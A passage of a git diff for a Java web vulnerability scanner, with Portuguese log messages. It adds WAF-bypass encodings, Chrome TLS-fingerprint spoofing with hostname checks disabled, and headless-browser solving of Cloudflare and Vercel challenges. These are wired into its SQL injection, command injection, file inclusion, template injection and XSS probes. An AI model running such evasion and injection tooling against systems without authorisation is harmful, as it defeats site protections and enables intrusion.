280); + page.waitForTimeout(300); + page.mouse().move(410, 350); + + try { + page.waitForURL(url -> true, + new com.microsoft.playwright.Page.WaitForURLOptions().setTimeout(CHALLENGE_TIMEOUT_MS)); + + page.waitForLoadState(com.microsoft.playwright.options.LoadState.NETWORKIDLE, + new com.microsoft.playwright.Page.WaitForLoadStateOptions().setTimeout(NAV_TIMEOUT_MS)); + } catch (com.microsoft.playwright.TimeoutError e) { + log.accept("[-] Challenge timeout -- pode requerer CAPTCHA ou interacao manual"); + return null; + } + + int finalStatus = 200; + String finalTitle = page.title(); + + if (finalTitle.contains("Security Checkpoint") || finalTitle.contains("Checking")) { + log.accept("[-] Challenge nao resolveu automaticamente"); + return null; + } + + log.accept("[+] Challenge resolvido (" + finalTitle + ")"); + + String type = title.contains("Vercel") ? "Vercel Security Checkpoint" : "Cloudflare Managed Challenge"; + return extractCookies(ctx, type); + } + } + } + + private static Result extractCookies(com.microsoft.playwright.BrowserContext ctx, String type) { + var cookies = ctx.cookies(); + if (cookies.isEmpty()) { + return null; + } + String cookieStr = cookies.stream().map(c -> c.name + "=" + c.value).collect(Collectors.joining("; ")); + return new Result(cookieStr, type); + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/util/Http.java b/src/main/java/gg/effront/anarcry/scanner/util/Http.java index f69b975..10c97d3 100644 --- a/src/main/java/gg/effront/anarcry/scanner/util/Http.java +++ b/src/main/java/gg/effront/anarcry/scanner/util/Http.java @@ -9,12 +9,29 @@ public class Http { + @SuppressWarnings("unchecked") public static HttpResponse send(ScanContext ctx, HttpClient hc, HttpRequest req, HttpResponse.BodyHandler handler, String moduleId) throws Exception { + String cookies = ""; if (!ctx.config().sessionCookie().isBlank()) { - req = HttpRequest.newBuilder(req, (n, v) -> true).header("Cookie", ctx.config().sessionCookie()).build(); + cookies = ctx.config().sessionCookie(); + } + String challengeCookies = ctx.wafState().challengeCookies(); + if (!challengeCookies.isEmpty()) { + cookies = cookies.isEmpty() ? challengeCookies : cookies + "; " + challengeCookies; + } + if (!cookies.isEmpty()) { + req = HttpRequest.newBuilder(req, (n, v) -> true).header("Cookie", cookies).build(); + } + HttpResponse resp; + BrowserTransport bt = ctx.wafState().browserTransport(); + if (bt != null && bt.isTargetHost(req.uri().toString())) { + resp = (HttpResponse) bt.fetch(req); + } else if (ctx.wafState().isStealthActive()) { + resp = (HttpResponse) StealthHttpClient.send(req); + } else { + resp = hc.send(req, handler); } - HttpResponse resp = hc.send(req, handler); if (ctx.config().delayMs() > 0) { try { Thread.sleep(ctx.config().delayMs()); diff --git a/src/main/java/gg/effront/anarcry/scanner/util/HttpClientFactory.java b/src/main/java/gg/effront/anarcry/scanner/util/HttpClientFactory.java index 7e25d0d..207861e 100644 --- a/src/main/java/gg/effront/anarcry/scanner/util/HttpClientFactory.java +++ b/src/main/java/gg/effront/anarcry/scanner/util/HttpClientFactory.java @@ -1,7 +1,10 @@ package gg.effront.anarcry.scanner.util; +import com.github.zhkl0228.impersonator.ImpersonatorFactory; + import java.net.http.HttpClient; import java.time.Duration; +import javax.net.ssl.SSLContext; import javax.net.ssl.SSLParameters; public final class HttpClientFactory { @@ -13,6 +16,9 @@ public final class HttpClientFactory { // HTTP/1.1, no redirect -- for SSRF and OpenRedirect probing private static volatile HttpClient noRedirectInstance; + // HTTP/2, follows redirects -- Chrome TLS fingerprint (JA3/JA4 spoofing) + private static volatile HttpClient stealthInstance; + private HttpClientFactory() { } @@ -46,6 +52,22 @@ public static HttpClient noRedirect() throws Exception { return noRedirectInstance; } + public static HttpClient stealth() throws Exception { + if (stealthInstance == null) { + synchronized (HttpClientFactory.class) { + if (stealthInstance == null) { + SSLContext chromeTls = ImpersonatorFactory.macChrome().newSSLContext(null, null); + SSLParameters params = new SSLParameters(); + params.setEndpointIdentificationAlgorithm(""); + stealthInstance = HttpClient.newBuilder().sslContext(chromeTls).sslParameters(params) + .followRedirects(HttpClient.Redirect.NORMAL).version(HttpClient.Version.HTTP_2) + .connectTimeout(Duration.ofSeconds(6)).build(); + } + } + } + return stealthInstance; + } + private static volatile HttpClient followOneInstance; // Follows up to 1 redirect -- used by SSRF redirect-bypass probing diff --git a/src/main/java/gg/effront/anarcry/scanner/util/StealthHttpClient.java b/src/main/java/gg/effront/anarcry/scanner/util/StealthHttpClient.java new file mode 100644 index 0000000..b8364f6 --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/util/StealthHttpClient.java @@ -0,0 +1,228 @@ +package gg.effront.anarcry.scanner.util; + +import com.github.zhkl0228.impersonator.ImpersonatorFactory; + +import okhttp3.OkHttpClientFactory; + +import java.io.IOException; +import java.net.URI; +import java.net.http.HttpHeaders; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.nio.ByteBuffer; +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.Set; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.Flow; +import java.util.concurrent.TimeUnit; + +import javax.net.ssl.SSLSession; + +import okhttp3.MediaType; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; + +public final class StealthHttpClient { + + static final String CHROME_UA = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" + + " (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"; + + private static final Map BROWSER_HEADERS; + + static { + BROWSER_HEADERS = new LinkedHashMap<>(); + BROWSER_HEADERS.put("User-Agent", CHROME_UA); + BROWSER_HEADERS.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif," + + "image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"); + BROWSER_HEADERS.put("Accept-Language", "en-US,en;q=0.9"); + BROWSER_HEADERS.put("Accept-Encoding", "gzip, deflate, br, zstd"); + BROWSER_HEADERS.put("sec-ch-ua", + "\"Chromium\";v=\"130\", \"Google Chrome\";v=\"130\", \"Not?A_Brand\";v=\"99\""); + BROWSER_HEADERS.put("sec-ch-ua-mobile", "?0"); + BROWSER_HEADERS.put("sec-ch-ua-platform", "\"macOS\""); + BROWSER_HEADERS.put("sec-fetch-dest", "document"); + BROWSER_HEADERS.put("sec-fetch-mode", "navigate"); + BROWSER_HEADERS.put("sec-fetch-site", "none"); + BROWSER_HEADERS.put("sec-fetch-user", "?1"); + BROWSER_HEADERS.put("Upgrade-Insecure-Requests", "1"); + } + + private static volatile OkHttpClient instance; + + private StealthHttpClient() { + } + + public static OkHttpClient chrome() { + if (instance == null) { + synchronized (StealthHttpClient.class) { + if (instance == null) { + instance = OkHttpClientFactory.create(ImpersonatorFactory.macChrome()) + .setConnectTimeout(6, TimeUnit.SECONDS).setReadTimeout(10, TimeUnit.SECONDS) + .newHttpClient(); + } + } + } + return instance; + } + + @SuppressWarnings("unchecked") + public static HttpResponse send(HttpRequest jdkReq) throws IOException { + Request okReq = toOkHttpRequest(jdkReq); + try (Response okResp = chrome().newCall(okReq).execute()) { + return (HttpResponse) toJdkResponse(okResp, jdkReq.uri()); + } + } + + private static Request toOkHttpRequest(HttpRequest jdkReq) { + Request.Builder builder = new Request.Builder().url(jdkReq.uri().toString()); + + Set presentHeaders = new java.util.TreeSet<>(String.CASE_INSENSITIVE_ORDER); + jdkReq.headers().map().forEach((name, values) -> { + presentHeaders.add(name); + for (String val : values) { + builder.addHeader(name, val); + } + }); + + BROWSER_HEADERS.forEach((name, val) -> { + if (!presentHeaders.contains(name)) { + builder.addHeader(name, val); + } + }); + + String method = jdkReq.method(); + RequestBody body = null; + if (jdkReq.bodyPublisher().isPresent()) { + byte[] bytes = readBodyPublisher(jdkReq.bodyPublisher().get()); + if (bytes.length > 0) { + String ct = jdkReq.headers().firstValue("Content-Type").orElse("application/octet-stream"); + body = RequestBody.create(bytes, MediaType.parse(ct)); + } + } + + switch (method) { + case "GET" -> builder.get(); + case "HEAD" -> builder.head(); + case "DELETE" -> builder.delete(body); + case "POST" -> builder.post(body != null ? body : RequestBody.create(new byte[0], null)); + case "PUT" -> builder.put(body != null ? body : RequestBody.create(new byte[0], null)); + case "PATCH" -> builder.patch(body != null ? body : RequestBody.create(new byte[0], null)); + default -> builder.method(method, body); + } + + return builder.build(); + } + + private static HttpResponse toJdkResponse(Response okResp, URI uri) throws IOException { + int status = okResp.code(); + String bodyStr = okResp.body() != null ? okResp.body().string() : ""; + Map> headerMap = okResp.headers().toMultimap(); + HttpHeaders headers = HttpHeaders.of(headerMap, (k, v) -> true); + return new StealthResponse(status, bodyStr, headers, uri); + } + + static byte[] readBodyPublisher(HttpRequest.BodyPublisher publisher) { + if (publisher.contentLength() == 0) { + return new byte[0]; + } + CompletableFuture future = new CompletableFuture<>(); + publisher.subscribe(new Flow.Subscriber<>() { + + private final List buffers = new ArrayList<>(); + + @Override + public void onSubscribe(Flow.Subscription subscription) { + subscription.request(Long.MAX_VALUE); + } + + @Override + public void onNext(ByteBuffer item) { + buffers.add(ByteBuffer.allocate(item.remaining()).put(item).flip()); + } + + @Override + public void onError(Throwable throwable) { + future.completeExceptionally(throwable); + } + + @Override + public void onComplete() { + int total = buffers.stream().mapToInt(ByteBuffer::remaining).sum(); + byte[] result = new byte[total]; + int pos = 0; + for (ByteBuffer buf : buffers) { + int len = buf.remaining(); + buf.get(result, pos, len); + pos += len; + } + future.complete(result); + } + }); + try { + return future.get(5, TimeUnit.SECONDS); + } catch (Exception e) { + return new byte[0]; + } + } + + static final class StealthResponse implements HttpResponse { + + private final int statusCode; + private final String body; + private final HttpHeaders headers; + private final URI uri; + + StealthResponse(int statusCode, String body, HttpHeaders headers, URI uri) { + this.statusCode = statusCode; + this.body = body; + this.headers = headers; + this.uri = uri; + } + + @Override + public int statusCode() { + return statusCode; + } + + @Override + public HttpRequest request() { + return null; + } + + @Override + public Optional> previousResponse() { + return Optional.empty(); + } + + @Override + public HttpHeaders headers() { + return headers; + } + + @Override + public String body() { + return body; + } + + @Override + public Optional sslSession() { + return Optional.empty(); + } + + @Override + public URI uri() { + return uri; + } + + @Override + public java.net.http.HttpClient.Version version() { + return java.net.http.HttpClient.Version.HTTP_2; + } + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/util/WafEvasion.java b/src/main/java/gg/effront/anarcry/scanner/util/WafEvasion.java new file mode 100644 index 0000000..b3f5925 --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/util/WafEvasion.java @@ -0,0 +1,202 @@ +package gg.effront.anarcry.scanner.util; + +import gg.effront.anarcry.scanner.ScanContext; + +import java.net.URI; +import java.net.URLEncoder; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; +import java.time.Duration; +import java.util.List; +import java.util.Map; +import java.util.function.Consumer; +import java.util.regex.Pattern; + +public final class WafEvasion { + + public enum Strategy { + DOUBLE_ENCODE, CASE_MUTATION, UNICODE_NORMALIZE, CHARSET_EBCDIC, HPP + } + + public static final List PROBE_ORDER = List.of(Strategy.DOUBLE_ENCODE, Strategy.CASE_MUTATION, + Strategy.UNICODE_NORMALIZE, Strategy.CHARSET_EBCDIC, Strategy.HPP); + + private static final Pattern WAF_SERVER = Pattern + .compile("(?i)(cloudflare|akamai|incapsula|sucuri|ddos-guard|awselb|imperva|f5|barracuda)"); + + private static final Pattern WAF_BODY = Pattern + .compile("(?i)(blocked|access denied|attention required|request blocked|" + + "web application firewall|security policy|not acceptable)"); + + private WafEvasion() { + } + + // -- Strategy implementations (GET-compatible: transform payload string) -- + + public static String doubleEncode(String payload) { + return URLEncoder.encode(payload, StandardCharsets.UTF_8); + } + + public static String mutateCase(String payload) { + StringBuilder sb = new StringBuilder(payload.length()); + boolean upper = true; + for (char c : payload.toCharArray()) { + if (Character.isLetter(c)) { + sb.append(upper ? Character.toUpperCase(c) : Character.toLowerCase(c)); + upper = !upper; + } else { + sb.append(c); + } + } + return sb.toString(); + } + + public static String toFullwidth(String payload) { + StringBuilder sb = new StringBuilder(payload.length()); + for (char c : payload.toCharArray()) { + if (c >= 0x21 && c <= 0x7E) { + sb.append((char) (c + 0xFEE0)); + } else { + sb.append(c); + } + } + return sb.toString(); + } + + public static byte[] encodeEbcdic(String formBody) { + return formBody.getBytes(Charset.forName("ibm500")); + } + + // -- Apply a GET-compatible strategy to a payload string -- + + public static String applyGetStrategy(Strategy s, String payload) { + return switch (s) { + case DOUBLE_ENCODE -> doubleEncode(payload); + case CASE_MUTATION -> mutateCase(payload); + case UNICODE_NORMALIZE -> toFullwidth(payload); + default -> payload; + }; + } + + // -- Convenience: return evasion-transformed payload if WAF detected -- + + public static String evasionPayload(ScanContext ctx, String payload) { + if (!ctx.wafState().isWafDetected()) { + return payload; + } + Strategy s = ctx.wafState().effectiveStrategy(); + if (s == null) { + return payload; + } + return applyGetStrategy(s, payload); + } + + // -- POST-based EBCDIC request builder -- + + public static HttpRequest buildEbcdicPost(String url, String param, String payload) { + String formBody = param + "=" + payload; + byte[] encoded = encodeEbcdic(formBody); + return HttpRequest.newBuilder().uri(URI.create(url)) + .header("Content-Type", "application/x-www-form-urlencoded; charset=ibm500") + .POST(HttpRequest.BodyPublishers.ofByteArray(encoded)).timeout(Duration.ofSeconds(8)).build(); + } + + // -- HPP URL builder -- + + public static String buildHppUrl(String baseUrl, String param, String payload) { + return baseUrl + "?" + param + "=safe&" + param + "=" + URLEncoder.encode(payload, StandardCharsets.UTF_8); + } + + // -- WAF detection helpers -- + + public static boolean isWafBlocked(int statusCode, String serverHeader, String body) { + if (statusCode != 403 && statusCode != 406 && statusCode != 429) { + return false; + } + if (serverHeader != null && WAF_SERVER.matcher(serverHeader).find()) { + return true; + } + return body != null && WAF_BODY.matcher(body).find(); + } + + public static String detectWafProduct(String serverHeader) { + if (serverHeader == null) { + return ""; + } + var m = WAF_SERVER.matcher(serverHeader); + return m.find() ? m.group(1) : ""; + } + + // -- JS Challenge detection (Vercel / Cloudflare managed challenge) -- + + public static boolean isJsChallenge(int statusCode, Map> headers, String body) { + return !detectChallengeType(statusCode, headers, body).isEmpty(); + } + + public static String detectChallengeType(int statusCode, Map> headers, String body) { + if (statusCode != 403 && statusCode != 503) { + return ""; + } + if ("challenge".equalsIgnoreCase(firstHeader(headers, "x-vercel-mitigated")) + || (body != null && body.contains("Vercel Security Checkpoint"))) { + return "Vercel Security Checkpoint"; + } + if ("challenge".equalsIgnoreCase(firstHeader(headers, "cf-mitigated")) + || (body != null && (body.contains("cf_chl_opt") || body.contains("cf-challenge-")))) { + return "Cloudflare Managed Challenge"; + } + return ""; + } + + private static String firstHeader(Map> headers, String name) { + for (var entry : headers.entrySet()) { + if (name.equalsIgnoreCase(entry.getKey()) && !entry.getValue().isEmpty()) { + return entry.getValue().getFirst(); + } + } + return ""; + } + + // -- Probe: try each strategy against target to find effective one -- + + public static Strategy probeStrategies(ScanContext ctx, HttpClient hc, String targetUrl, String moduleId, + Consumer log) { + String canary = ""; + + for (Strategy s : PROBE_ORDER) { + try { + HttpRequest req; + if (s == Strategy.CHARSET_EBCDIC) { + req = buildEbcdicPost(targetUrl, "q", canary); + } else if (s == Strategy.HPP) { + String url = buildHppUrl(targetUrl, "q", canary); + req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET().build(); + } else { + String transformed = applyGetStrategy(s, canary); + String encoded = URLEncoder.encode(transformed, StandardCharsets.UTF_8); + String url = targetUrl + "?q=" + encoded; + req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET().build(); + } + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), moduleId); + String server = resp.headers().firstValue("Server").orElse(""); + String body = resp.body() != null ? resp.body() : ""; + if (!isWafBlocked(resp.statusCode(), server, body)) { + if (s == Strategy.CHARSET_EBCDIC || s == Strategy.HPP) { + log.accept("[+] WAF bypass: " + s + " efetiva mas incompativel com GET inline" + + " -- requer construcao de request especifica"); + continue; + } + log.accept("[+] WAF bypass: estrategia " + s + " efetiva (HTTP " + resp.statusCode() + ")"); + return s; + } + } catch (Exception e) { + log.accept("[-] WAF probe " + s + " falhou: " + e.getMessage()); + } + } + log.accept("[-] WAF bypass: nenhuma estrategia efetiva"); + return null; + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/util/WafState.java b/src/main/java/gg/effront/anarcry/scanner/util/WafState.java new file mode 100644 index 0000000..1bda554 --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/util/WafState.java @@ -0,0 +1,92 @@ +package gg.effront.anarcry.scanner.util; + +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.AtomicReference; + +public final class WafState { + + private final AtomicBoolean wafDetected = new AtomicBoolean(false); + private final AtomicReference wafProduct = new AtomicReference<>(""); + private final AtomicReference effectiveStrategy = new AtomicReference<>(); + private final AtomicBoolean stealthActive = new AtomicBoolean(false); + private final AtomicBoolean jsChallenge = new AtomicBoolean(false); + private final AtomicReference challengeType = new AtomicReference<>(""); + private final AtomicReference challengeCookies = new AtomicReference<>(""); + private volatile BrowserTransport browserTransport; + + public void markWafDetected(String product) { + wafDetected.set(true); + if (product != null && !product.isBlank()) { + wafProduct.set(product); + } + } + + public boolean isWafDetected() { + return wafDetected.get(); + } + + public String wafProduct() { + return wafProduct.get(); + } + + public void markEffectiveStrategy(WafEvasion.Strategy strategy) { + effectiveStrategy.set(strategy); + } + + public WafEvasion.Strategy effectiveStrategy() { + return effectiveStrategy.get(); + } + + public void markStealthActive() { + stealthActive.set(true); + } + + public boolean isStealthActive() { + return stealthActive.get(); + } + + public void markJsChallenge(String type) { + jsChallenge.set(true); + if (type != null && !type.isBlank()) { + challengeType.set(type); + } + } + + public boolean isJsChallenge() { + return jsChallenge.get(); + } + + public String challengeType() { + return challengeType.get(); + } + + public void setChallengeCookies(String cookies) { + if (cookies != null) { + challengeCookies.set(cookies); + } + } + + public String challengeCookies() { + return challengeCookies.get(); + } + + public boolean hasChallengeCookies() { + return !challengeCookies.get().isEmpty(); + } + + public void setBrowserTransport(BrowserTransport transport) { + this.browserTransport = transport; + } + + public BrowserTransport browserTransport() { + return browserTransport; + } + + public void closeBrowserTransport() { + BrowserTransport bt = browserTransport; + if (bt != null) { + browserTransport = null; + bt.close(); + } + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/web/cmdinject/CommandInjectionModule.java b/src/main/java/gg/effront/anarcry/scanner/web/cmdinject/CommandInjectionModule.java index 7490e01..01476f7 100644 --- a/src/main/java/gg/effront/anarcry/scanner/web/cmdinject/CommandInjectionModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/web/cmdinject/CommandInjectionModule.java @@ -10,6 +10,7 @@ import gg.effront.anarcry.scanner.util.Http; import gg.effront.anarcry.scanner.util.HttpClientFactory; import gg.effront.anarcry.scanner.util.ProbeExecutor; +import gg.effront.anarcry.scanner.util.WafEvasion; import java.net.URI; import java.net.URLEncoder; @@ -94,6 +95,12 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio + NETWORK_KEYWORDS.size() + " params, " + activePayloads.size() + " active + " + sleepPayloads.size() + " sleep payloads)"); + boolean browserActive = ctx.wafState().browserTransport() != null; + if (browserActive) { + log.accept("[~] CmdInjection: BrowserTransport ativo -- phase 2 (time-based blind) desabilitada" + + " (latência do browser inviabiliza medição temporal)"); + } + AtomicBoolean cancel = new AtomicBoolean(false); List>> tasks = new ArrayList<>(); @@ -130,7 +137,7 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio if (cancel.get()) { return local; } - String injected = "testvalue" + payload; + String injected = "testvalue" + WafEvasion.evasionPayload(ctx, payload); String encoded; try { encoded = URLEncoder.encode(injected, "UTF-8"); @@ -177,7 +184,9 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio } // -- Phase 2: Time-based blind injection -- - if (cancel.get()) { + // Skip when BrowserTransport is active: its inherent latency + // (~4-5s per request) makes timing measurements unreliable. + if (cancel.get() || ctx.wafState().browserTransport() != null) { return local; } long baselineMs = measureBaselineRtt(ctx, hc, base, path, param); @@ -189,11 +198,9 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio long elapsed = measureElapsed(ctx, hc, base, path, param, sleepPayload); if (elapsed <= baselineMs + TIMING_THRESHOLD_MS) { - continue; // No significant spike for this payload + continue; } - // Proportional verification: eliminates slow-server false - // positives boolean confirmed = verifyProportionalDelay(ctx, hc, baselineMs, base, path, param, sleepPayload); if (confirmed) { @@ -313,7 +320,7 @@ private long measureBaselineRtt(ScanContext ctx, HttpClient hc, String base, Str */ private long measureElapsed(ScanContext ctx, HttpClient hc, String base, String path, String param, String sleepPayload) { - String injected = "testvalue" + sleepPayload; + String injected = "testvalue" + WafEvasion.evasionPayload(ctx, sleepPayload); try { String encoded = URLEncoder.encode(injected, "UTF-8"); String url = base + path + "?" + param + "=" + encoded; @@ -382,7 +389,7 @@ private boolean verifyProportionalDelay(ScanContext ctx, HttpClient hc, long bas */ private long measureElapsedRaw(ScanContext ctx, HttpClient hc, String base, String path, String param, String payload) throws Exception { - String encoded = URLEncoder.encode("testvalue" + payload, "UTF-8"); + String encoded = URLEncoder.encode("testvalue" + WafEvasion.evasionPayload(ctx, payload), "UTF-8"); String url = base + path + "?" + param + "=" + encoded; HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(10)).GET().build(); long t0 = System.currentTimeMillis(); diff --git a/src/main/java/gg/effront/anarcry/scanner/web/lfi/LfiModule.java b/src/main/java/gg/effront/anarcry/scanner/web/lfi/LfiModule.java index e098dd3..eac6048 100644 --- a/src/main/java/gg/effront/anarcry/scanner/web/lfi/LfiModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/web/lfi/LfiModule.java @@ -10,6 +10,7 @@ import gg.effront.anarcry.scanner.util.Http; import gg.effront.anarcry.scanner.util.HttpClientFactory; import gg.effront.anarcry.scanner.util.ProbeExecutor; +import gg.effront.anarcry.scanner.util.WafEvasion; import java.net.URI; import java.net.URLEncoder; @@ -228,7 +229,10 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio if (cancelLinux.get()) { return local; } - String qv = payload.asQueryValue(); + String evadedVal = payload.encode() + ? WafEvasion.evasionPayload(ctx, payload.value()) + : payload.value(); + String qv = payload.encode() ? URLEncoder.encode(evadedVal, "UTF-8") : evadedVal; String testUrl = base + path + "?" + param + "=" + qv; try { HttpRequest req = HttpRequest.newBuilder().uri(URI.create(testUrl)) @@ -307,7 +311,10 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio if (cancelWindows.get()) { return local; } - String qv = payload.asQueryValue(); + String evadedVal = payload.encode() + ? WafEvasion.evasionPayload(ctx, payload.value()) + : payload.value(); + String qv = payload.encode() ? URLEncoder.encode(evadedVal, "UTF-8") : evadedVal; String testUrl = base + path + "?" + param + "=" + qv; try { HttpRequest req = HttpRequest.newBuilder().uri(URI.create(testUrl)) diff --git a/src/main/java/gg/effront/anarcry/scanner/web/oauth/OAuthModule.java b/src/main/java/gg/effront/anarcry/scanner/web/oauth/OAuthModule.java index b973b9b..08a1677 100644 --- a/src/main/java/gg/effront/anarcry/scanner/web/oauth/OAuthModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/web/oauth/OAuthModule.java @@ -92,18 +92,24 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio .GET().build(); HttpResponse resp = Http.send(ctx, hcNoRedirect, req, HttpResponse.BodyHandlers.discarding(), id()); - if (resp.statusCode() != 404) { - log.accept( - "[+] OAuth: authorize path encontrado: " + path + " (HTTP " + resp.statusCode() + ")"); - authorizeEndpoint = baseUrl + path; - findings.add(Finding.of("OAuth", authorizeEndpoint, "OAuth authorize endpoint descoberto", - Severity.INFO, "URL: " + authorizeEndpoint + " | HTTP " + resp.statusCode(), - "Endpoint de autorização OAuth identificado -- auditar segurança do fluxo", - "curl '" + authorizeEndpoint + "?response_type=code&client_id=test'", - "Exigir state e PKCE; validar redirect_uri contra whitelist estrita", _cweId, _cweTitle, - _cveVector, _score)); - break; + int status = resp.statusCode(); + if (status == 404) { + continue; } + if (ctx.wafState().isWafDetected() && (status == 403 || status == 406 || status == 429)) { + log.accept("[~] OAuth: " + path + " retornou HTTP " + status + + " de WAF -- ignorando (falso positivo)"); + continue; + } + log.accept("[+] OAuth: authorize path encontrado: " + path + " (HTTP " + status + ")"); + authorizeEndpoint = baseUrl + path; + findings.add(Finding.of("OAuth", authorizeEndpoint, "OAuth authorize endpoint descoberto", + Severity.INFO, "URL: " + authorizeEndpoint + " | HTTP " + status, + "Endpoint de autorização OAuth identificado -- auditar segurança do fluxo", + "curl '" + authorizeEndpoint + "?response_type=code&client_id=test'", + "Exigir state e PKCE; validar redirect_uri contra whitelist estrita", _cweId, _cweTitle, + _cveVector, _score)); + break; } catch (Exception e) { log.accept("[~] OAuth: " + path + " -- " + e.getMessage()); } diff --git a/src/main/java/gg/effront/anarcry/scanner/web/sqli/SqlInjectionModule.java b/src/main/java/gg/effront/anarcry/scanner/web/sqli/SqlInjectionModule.java index 34b8ebf..b896d53 100644 --- a/src/main/java/gg/effront/anarcry/scanner/web/sqli/SqlInjectionModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/web/sqli/SqlInjectionModule.java @@ -10,6 +10,7 @@ import gg.effront.anarcry.scanner.util.Http; import gg.effront.anarcry.scanner.util.HttpClientFactory; import gg.effront.anarcry.scanner.util.ProbeExecutor; +import gg.effront.anarcry.scanner.util.WafEvasion; import java.net.URI; import java.net.URLEncoder; @@ -76,6 +77,9 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio List errorPayloads = mergeKbErrorPayloads(); log.accept("[~] SQLi: iniciando error-based e time-based em " + base + " (" + PATHS.size() + " paths x " + PARAMS.size() + " params, " + errorPayloads.size() + " error payloads)"); + if (ctx.wafState().browserTransport() != null) { + log.accept("[~] SQLi: BrowserTransport ativo -- phase 2 (time-based blind) desabilitada"); + } AtomicBoolean cancel = new AtomicBoolean(false); List>> tasks = new ArrayList<>(); @@ -103,7 +107,7 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio if (cancel.get()) { return local; } - String encoded = URLEncoder.encode(payload, "UTF-8"); + String encoded = URLEncoder.encode(WafEvasion.evasionPayload(ctx, payload), "UTF-8"); String url = base + path + "?" + param + "=" + encoded; try { HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)) @@ -142,7 +146,9 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio } // -- Phase 2: Time-Based Blind -- - // Measure baseline RTT using 2 samples (median of small set) + if (ctx.wafState().browserTransport() != null) { + return local; + } long b1 = measureRtt(ctx, hc, base + path + "?" + param + "=1", log); long b2 = measureRtt(ctx, hc, base + path + "?" + param + "=2", log); if (b1 < 0 || b2 < 0) { @@ -155,7 +161,7 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio if (cancel.get()) { return local; } - String encoded = URLEncoder.encode(tp.payload(), "UTF-8"); + String encoded = URLEncoder.encode(WafEvasion.evasionPayload(ctx, tp.payload()), "UTF-8"); String url = base + path + "?" + param + "=" + encoded; try { HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)) diff --git a/src/main/java/gg/effront/anarcry/scanner/web/ssti/SstiModule.java b/src/main/java/gg/effront/anarcry/scanner/web/ssti/SstiModule.java index 12cf547..2a6bf91 100644 --- a/src/main/java/gg/effront/anarcry/scanner/web/ssti/SstiModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/web/ssti/SstiModule.java @@ -9,6 +9,7 @@ import gg.effront.anarcry.scanner.util.Http; import gg.effront.anarcry.scanner.util.HttpClientFactory; import gg.effront.anarcry.scanner.util.ProbeExecutor; +import gg.effront.anarcry.scanner.util.WafEvasion; import java.net.URI; import java.net.URLEncoder; @@ -174,7 +175,7 @@ private String tryRceProbes(ScanContext ctx, HttpClient hc, String base, String continue; } try { - String encoded = URLEncoder.encode(rce.payload(), "UTF-8"); + String encoded = URLEncoder.encode(WafEvasion.evasionPayload(ctx, rce.payload()), "UTF-8"); String url = base + path + "?" + param + "=" + encoded; HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() .build(); @@ -194,7 +195,7 @@ private String tryRceProbes(ScanContext ctx, HttpClient hc, String base, String private String tryMathProbe(ScanContext ctx, HttpClient hc, String base, String path, String param, SstiProbe probe, String baseline, Consumer log) { try { - String encoded = URLEncoder.encode(probe.payload(), "UTF-8"); + String encoded = URLEncoder.encode(WafEvasion.evasionPayload(ctx, probe.payload()), "UTF-8"); String url = base + path + "?" + param + "=" + encoded; HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(5)).GET() .build(); diff --git a/src/main/java/gg/effront/anarcry/scanner/web/xss/XssModule.java b/src/main/java/gg/effront/anarcry/scanner/web/xss/XssModule.java index 4f1fb29..069f065 100644 --- a/src/main/java/gg/effront/anarcry/scanner/web/xss/XssModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/web/xss/XssModule.java @@ -10,6 +10,7 @@ import gg.effront.anarcry.scanner.util.Http; import gg.effront.anarcry.scanner.util.HttpClientFactory; import gg.effront.anarcry.scanner.util.ProbeExecutor; +import gg.effront.anarcry.scanner.util.WafEvasion; import java.net.URI; import java.net.URLEncoder; @@ -134,7 +135,7 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio } String htmlPayload = xp.template(); String marker = xp.marker(); - String encodedHtml = URLEncoder.encode(htmlPayload, "UTF-8"); + String encodedHtml = URLEncoder.encode(WafEvasion.evasionPayload(ctx, htmlPayload), "UTF-8"); String payloadUrl = base + path + "?" + param + "=" 